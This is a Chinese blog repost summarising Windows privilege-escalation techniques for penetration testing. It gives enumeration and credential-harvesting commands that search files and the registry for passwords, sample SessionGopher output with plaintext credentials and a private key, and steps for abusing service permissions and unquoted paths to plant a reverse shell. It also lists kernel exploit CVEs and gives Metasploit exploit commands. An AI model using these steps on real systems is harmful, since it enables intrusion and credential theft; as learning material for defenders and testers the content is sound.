记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

特权提升技术总结之Windows文件服务内核篇

2020-02-26 14:03

0x01 什么是特权提升

什么是特权提升?为何要特权提升?可能有些读者还并不是很了解这方面知识,本文主要梳理了Windows操作系统下各类特权提升的技巧,分析特权提升的原理,主要目的在于学习和知识总结。

什么是特权提升

特权提升是指利用操作系统或应用软件中的程序错误、设计缺陷或配置疏忽来获取对应用程序或用户来说受保护资源的高级访问权限。其结果是,应用程序可以获取比应用程序开发者或系统管理员预期的更高的特权,从而可以执行授权的动作。

为何要特权提升

在实战攻防演习中,往往获取到的webshell权限很低,为了进一步后渗透和获取数据,就需要用到特权提升技术。

0x02 Windows操作系统信息

Windows 版本信息和配置

systeminfo
该命令是Windows中用于显示关于计算机及其操作系统的详细配置信息

如果目标计算机安装很多补丁程序,那么这条命令显示的信息将非常庞大,我们可以利用findstr命令针对信息进行筛选。

findstr
findstr是Window系统自带的命令,用途是查找指定的一个或多个文件文件中包含(或通过参数 /V来控制不包含)某些特定字符串的行,并将该行完整的信息打印出来,或者打印查询字符串所在的文件名。
/B 在一行的开始配对模式。
/C:string 使用指定字符串作为文字搜索字符串。

系统名称和版本号

systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"
C:\inetpub\wwwroot> systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"
OS 名称: Microsoft Windows Server 2008 R2 Standard
OS 版本: 6.1.7601 Service Pack 1 Build 7601

Windows系统更新补丁信息

利用Windows管理工具wmic获取Windows系统更新补丁信息

wmic qfe
wmic qfe > patch.txt

利用重定向符号>可以将结果输出到文件中,方便我们分析补丁信息

Windows操作系统架构

利用Windows管理工具wmic获取Windows操作系统架构信息

wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE%
C:\inetpub\wwwroot> wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE%
OSArchitecture
64-bit

Windows操作系统环境变量

获取Windows操作系统环境变量信息,从中发现安装的软件信息,我们可以利用的命令。

利用set命令获取信息

set

利用PowerShell获取信息

PowerShell -Command "& {Get-ChildItem Env: | ft Key,Value}"

Windows操作系统驱动器

利用Windows管理工具wmic或PowerShell获取Windows操作系统驱动器信息

C:\inetpub\wwwroot> wmic logicaldisk get caption || fsutil fsinfo drives
Caption
C:
D:

C:\inetpub\wwwroot> wmic logicaldisk get caption,description,providername
Caption Description ProviderName
C: Local Fixed Disk
D: CD-ROM Disc

C:\inetpub\wwwroot> PowerShell -Command "& {Get-PSDrive | where {$_.Provider -like 'Microsoft.PowerShell.Core\FileSystem'}| ft Name,Root}"
Name Root
---- ----
C C:\
D D:\

0x03 Windows操作系统用户信息

获取当前用户名

C:\inetpub\wwwroot> whoami
iis apppool\defaultapppool

获取当前用户特权信息

whoami /priv

获取所有用户信息

net user
本地用户账号信息
C:\inetpub\wwwroot> net user
\\DC1 的用户帐户
-------------------------------------------------------------------------------
admin Guest haadmin
haadmins krbtgt
命令成功完成。
whoami /all 获取当前用户用户信息、组信息、特权信息

利用PowerShell获取用户信息

PowerShell -Command "& {Get-LocalUser | ft Name,Enabled,LastLogon}"
c:\windows\system32\inetsrv>PowerShell -Command "& {Get-LocalUser | ft Name,Enabled,LastLogon}"

Name Enabled LastLogon
---- ------- ---------
Administrator False
DefaultAccount False
Guest False
admin True
WDAGUtilityAccount False

PowerShell -Command "& {Get-ChildItem C:\Users -Force | select Name}"
c:\windows\system32\inetsrv> PowerShell -Command "& {Get-ChildItem C:\Users -Force | select Name}"
Name
----
admin
Administrator
All Users
Classic .NET AppPool
Default
Default User
Public
desktop.ini

获取登录要求信息,可用于爆破

net accounts
c:\windows\system32\inetsrv> net accounts
强制用户在时间到期之后多久必须注销?: 从不
密码最短使用期限(天): 1
密码最长使用期限(天): 42
密码长度最小值: 7
保持的密码历史记录长度: 24
锁定阈值: 从不
锁定持续时间(分): 30
锁定观测窗口(分): 30
计算机角色: PRIMARY
命令成功完成。

其他相关指令

net user administrator
net user admin
net user %USERNAME%

获取用户组信息

net localgroup //获取机器内用户组信息

PowerShell -Command "& {Get-LocalGroup | ft Name}" //利用PowerShell获取用户组信息

C:\Users\13700>PowerShell -Command "& {Get-LocalGroup | ft Name}"

Name
----
Account Operators
Administrators
Allowed RODC Password Replication Group
Backup Operators

获取特定组的信息

c:\windows\system32\inetsrv> net localgroup administrators
别名 administrators
注释 管理员对计算机/域有不受限制的完全访问权
成员
-------------------------------------------------------------------------------
admin
Domain Admins
Enterprise Admins
haadmin
命令成功完成
PowerShell -Command "& {Get-LocalGroupMember Administrators | ft Name, PrincipalSource}"

0x04 搜刮密码

文件内容搜索密码

findstr /si password *.xml *.ini *.txt *.config
在xml、ini、txt、config等格式文件中搜索password

C:\inetpub\wwwroot> findstr /SI /M "password" *.xml *.ini *.txt
aspnet_client\system_web\2_0_50727\index.aspx.txt
aspnet_client\system_web\4_0_30319\index.aspx.txt
aspnet_client\system_web\password.txt
index.aspx.txt
输出存在password内容的文件路径
findstr /spin "password" *.*
搜索当前命令行路径所有文件

搜索特定的文件名

C:\inetpub\wwwroot> dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
C:\inetpub\wwwroot\web.config
C:\inetpub\wwwroot\aspnet_client\system_web\password.txt

C:\inetpub\wwwroot> where /R C:\inetpub\wwwroot *.ini

C:\inetpub\wwwroot> where /R C:\inetpub\wwwroot *.txt
C:\inetpub\wwwroot\index.aspx.txt
C:\inetpub\wwwroot\patch.txt
C:\inetpub\wwwroot\windows.txt
C:\inetpub\wwwroot\aspnet_client\system_web\password.txt
C:\inetpub\wwwroot\aspnet_client\system_web\2_0_50727\index.aspx.txt
C:\inetpub\wwwroot\aspnet_client\system_web\4_0_30319\index.aspx.txt

在注册表中搜索信息

在注册表中搜索password

REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K

reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

VNC凭证

reg query "HKCU\Software\ORL\WinVNC3\Password"

Putty 明文代理凭证

reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"

登录信息

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"

常见应用保存的session信息

相关工具:https://github.com/Arvanaghi/SessionGopher

获取PuTTY, WinSCP, FileZilla, SuperPuTTY, 和RDP的会话信息

[+] Digging on DC1 ...
WinSCP Sessions

Session : admin-anthony@198.273.212.334
Hostname : 198.273.212.334
Username : admin-anthony
Password : Super*p@ssw0rd

Session : Freddy@204.332.455.213
Hostname : 204.332.455.213
Username : Freddy
Password : angelico1892

FileZilla Sessions

Name : BarrySite
Password : imr34llytheFl@sh
Host : 10.8.30.21
User : BarryAllen
Protocol : Use FTP over TLS if available
Account : BarryAllenAccount
Port : 22

PuTTY Sessions

Session : PointOfSaleTerminal
Hostname : 10.8.0.10

PuTTY Private Key Files (.ppk)

Path : C:\Users\Brandon Arvanaghi\Documents\mykey.ppk
Protocol : ssh-rsa
Comment : rsa-key-20170116
Private Key Encryption : none
Private Key : {AAABAEazxtDz6E9mDeONOmz07sG/n1eS1pjKI8fOCuuLnQC58LeCTlysOmZ1/iC4, g4HyRpmdKJGhIxj66/RQ135hVesyk02StleepK4+Tnvz3zmdr4Do5W99qKkrWI3D, T9GOxOIoR9Zc6j57D+fdesJq4ItEIxcQZlXC1F9KZcbXjSJ3iBmCsbG/aRJmMJNx,
nCMaZkySr4R4Z/E+l1JOzXaHh5WQ2P0K4YM1/6XG6C4VzDjvXwcY67MYsobTeCR2...}
Private MAC : b7e47819fee39a95eb374a97f939c3c868f880de


Microsoft Remote Desktop (RDP) Sessions

Hostname : us.greatsite.com
Username : Domain\tester

Microsoft Remote Desktop .rdp Files

Path : C:\Users\Brandon Arvanaghi\Desktop\config\PenTestLab-Win.RDP
Hostname : dc01.corp.hackerplaypen.com
Gateway : rds01.corp.hackerplaypen.com
Prompts for Credentials : No
Administrative Session : Does not connect to admin session on remote host

0x05 Windows服务权限配置不当

在Windows系统中,某些服务以Administrator/SYSTEM权限运行,当服务所运行文件权限配置错误时,可能导致特权提升。

服务列表

查看相关服务

for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> C:/inetpub/wwwroot/service.txt
检查服务列表并输出到文件service.txt中

icacls或cacls检查权限

检查权限工具如下:

  • icacls (Windows Vista +)
  • cacls (Windows XP)
for /f eol^=^"^ delims^=^" %a in (C:/inetpub/wwwroot/service.txt) do cmd.exe /c icacls "%a"

主要关注以下三个权限:

Users:(F):完全访问

Users:(M):修改访问

Users:(W):仅写访问

我们可以发现某个服务的运行文件C:\net\srvany.exe可以被我们控制

替换二进制文件

当服务重启时,反弹shell

0x06 Windows服务路径配置不当

在Windows环境中,启动服务后,系统会尝试查找可执行文件的位置来成功启动服务。如果可执行文件包含在引号标签中,系统就会知道在哪里可以找到它。但是,如果应用程序二进制文件所在的路径不包含任何引号,Windows则会尝试在该路径的每个文件夹中找到并执行它,直到找到可执行文件为止。

手工检查

wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """

wmic service get name,displayname,startmode,pathname | findstr /i /v "C:\Windows\\" |findstr /i /v """

gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

服务路径C:\Program Files\service\hello service\srvany.exe

Windows将首先尝试以下路径:

C:\Program.exe

C:\Program Files.exe

C:\Program Files\service\hello.exe

C:\Program Files\service\hello service.exe

利用icacls 检查权限

可以发现C:\Program Files\service\目录有控制权限

我们将反弹shell木马命名为hello.exe放在目录中,重启服务时,shell反弹

Metasploit trusted_service_path模块

模块路径:exploit/windows/local/trusted_service_path

trusted_service_path模块设置SESSION后自动利用,但是它只是针对第一个空格目录,如果第一个目录权限不足就会利用失败。

0x07 内核利用

Windows平台提权漏洞EXP集合:

https://github.com/SecWiki/windows-kernel-exploits

漏洞列表

Security BulletinKB操作系统
CVE-2019-0803https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0803Windows 7/8/10/2008/2012/2016/2019
CVE-2018-8639https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-1038Windows 7/8/10/2008/2012/2016
CVE-2018-1038https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-1038Windows 7 SP1/Windows Server 2008 R2 SP1
CVE-2018-0743https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-0743Windows 10 version 1703/Windows 10 version 1709/Windows Server version 1709
CVE-2018-8453https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8453>= windows 8.1
CVE-2018-8440https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8440windows 7/8.1/10/2008/2012/2016
MS17-017KB4013081windows 7/8
CVE-2017-8464https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8464windows 10/8.1/7/2016/2010/2008
CVE-2017-0213https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-0213windows 10/8.1/7/2016/2010/2008
CVE-2018-0833https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8120Windows 8.1/Server 2012 R2
CVE-2018-8120KB4103712Windows 7 SP1/2008 SP2,2008 R2 SP1
MS17-010KB4013389windows 7/2008/2003/XP
MS16-135KB31991352016
MS16-111KB318697332/64/8.1
MS16-098KB3178466Win 8.1
MS16-075KB31640382003/2008/7/8/2012
MS16-034KB31431452008/7/8/10/2012
MS16-032KB31431412008/7/8/10/2012
MS16-016KB31360412008/Vista/7
MS16-014KB31342282008/Vista/7
MS15-097KB3089656win8.1/2012
MS15-076KB30675052003/2008/7/8/2012
MS15-077KB3077657XP/Vista/Win7/Win8/2000/2003/2008/2012
MS15-061KB30578392003/2008/7/8/2012
MS15-051KB30571912003/2008/7/8/2012
MS15-015KB3031432Win7/8/8.1/2012/RT/2012 R2/2008 R2
MS15-010KB30362202003/2008/7/8
MS15-001KB30232662008/2012/7/8
MS14-070KB29899352003
MS14-068KB30117802003/2008/2012/7/8
MS14-058KB30000612003/2008/2012/7/8
MS14-066KB2992611VistaSP2/7 SP1/8/Windows 8.1/2003 SP2/2008 SP2/2008 R2 SP1/2012/2012 R2/Windows RT/Windows RT 8.1
MS14-040KB29756842003/2008/2012/7/8
MS14-002KB29143682003/XP
MS13-053KB2850851XP/Vista/2003/2008/win 7
MS13-046KB2840221Vista/2003/2008/2012/7
MS13-005KB27789302003/2008/2012/win7/8
MS12-042KB29726212008/2012/win7
MS12-020KB26713872003/2008/7/XP
MS11-080KB25927992003/XP
MS11-062KB25664542003/XP
MS11-046KB25036652003/2008/7/XP
MS11-011KB23938022003/2008/7/XP/Vista
MS10-092KB2305420Jul-08
MS10-065KB2267960IIS 5.1, 6.0, 7.0, and 7.5
MS10-059KB9827992008/7/Vista
MS10-048KB2160329XP SP2 & SP3/2003 SP2/Vista SP1 & SP2/2008 Gold & SP2 & R2/Win7
MS10-015KB9771652003/2008/7/XP
MS10-012KB971468Windows 7/2008R2
MS09-050KB9755172008/Vista
MS09-020KB970483IIS 5.1 and 6.0
MS09-012KB959454Vista/win7/2008/Vista
MS08-068KB9570972000/XP
MS08-067KB958644Windows 2000/XP/Server 2003/Vista/Server 2008
MS08-066KB956803Windows 2000/XP/Server 2003
MS08-025KB941693XP/2003/2008/Vista
MS06-040KB9218832003/xp/2000
MS05-039KB899588Win 9X/ME/NT/2000/XP/2003
MS03-026KB823980NT/2000/XP/2003

Microsoft Security Bulletin Data

Microsoft安全公告数据

https://www.microsoft.com/en-gb/download/confirmation.aspx?id=36982

Windows Exploit Suggester

https://blog.gdssecurity.com/labs/2014/7/11/introducing-windows-exploit-suggester.html

漏洞利用检查脚本,将目标补丁程序与Microsoft安全公告数据进行比较,以检测目标上可能缺少的补丁程序。

首先我们利用systeminfo命令将目标系统信息输出到txt文件中

systeminfo > wininfo.txt

下载到我们本地,利用脚本检查

python windows-exploit-suggester.py --database 2020-02-17-mssb.xls --systeminfo windows.txt

CobaltStrike

CobaltStrike权限提升模块

https://github.com/rsmudge/ElevateKit

下载后在CobaltStrike加载脚本

在CobaltStrike中选择目标使用

返回SYSTEM权限

Metasploit

run post/windows/gather/enum_patches  #查看补丁信息
background
search MS10-015
use exploit/windows/local/ms10_015_kitrap0d
set session 1
run

这个模块默认就六条数据,大家可以自定义添加

知识来源: xz.aliyun.com/t/7261

阅读:18438 | 评论:0 | 标签:无

想收藏或者和大家分享这篇好文章→复制链接地址

“特权提升技术总结之Windows文件服务内核篇”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

九层之台,起于累土;黑客之术,始于阅读

推广

工具

标签云

本页关键词